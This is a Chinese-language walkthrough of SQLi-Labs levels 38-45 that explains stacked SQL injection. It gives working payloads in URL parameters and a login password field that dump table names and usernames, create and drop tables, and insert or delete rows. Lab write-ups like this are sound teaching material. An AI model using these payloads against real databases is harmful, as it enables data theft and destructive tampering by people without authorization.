SQLi-Labs:Less38-Less45
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就可以多句一起使用,这个叫做stacked injection。
Less 38
在爆破的同时还可以建表
?id=-1' union select 1,database(),3;create table jyx like users--+
边爆表名边往表中插入数据
?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3;insert into jyx values('2','十二','陈情令')--+
虽然不支持中文显示,但我们也是成功了~
爆内容加删表
?id=-1' union select 1,(select group_concat(username)from users),3;drop table jyx--+
截了上面的语句以证jyx这个表确实被创建了并且添加了值还删除了
38关over~~~
Less 39
除了不需要使用单引号来构造闭合,其他操作均与38关一致
Less 40
这一关除了闭合方式为')以外,其他操作均与38关一致
与less38、39不相同的地方是这里的错误不会回显,但是不影响我们注入测试
Less 41
和40关相同,没有回显信息,但是不影响我们注入测试,而且不需要构造闭合
Less 42
首先看到这一关我们会想起20几关做的二次注入关卡,但是这一关与那个又是不同的
查看这一关的代码我们可以发现,代码对username进行了过滤但是对password没有任何过滤,所以我们在登录的时候任意输入一个用户名,密码进行堆叠注入,即输入:1';insert into users values(99,'r1se','r1se')#
可以看到成功插入了值
删除操作
1';delete from users where id='99'#
42关over~~~
Less 43
这一关和42关操作一致,只是我们需要注意的是需要')来闭合
Less 44
本关和前面的基本是一样的,只是没有报错回显信息,需要用单引号进行闭合
Less 45
本关和前面的基本也是一样的,也没有报错回显信息,需要用')进行闭合
就到这里啦~~~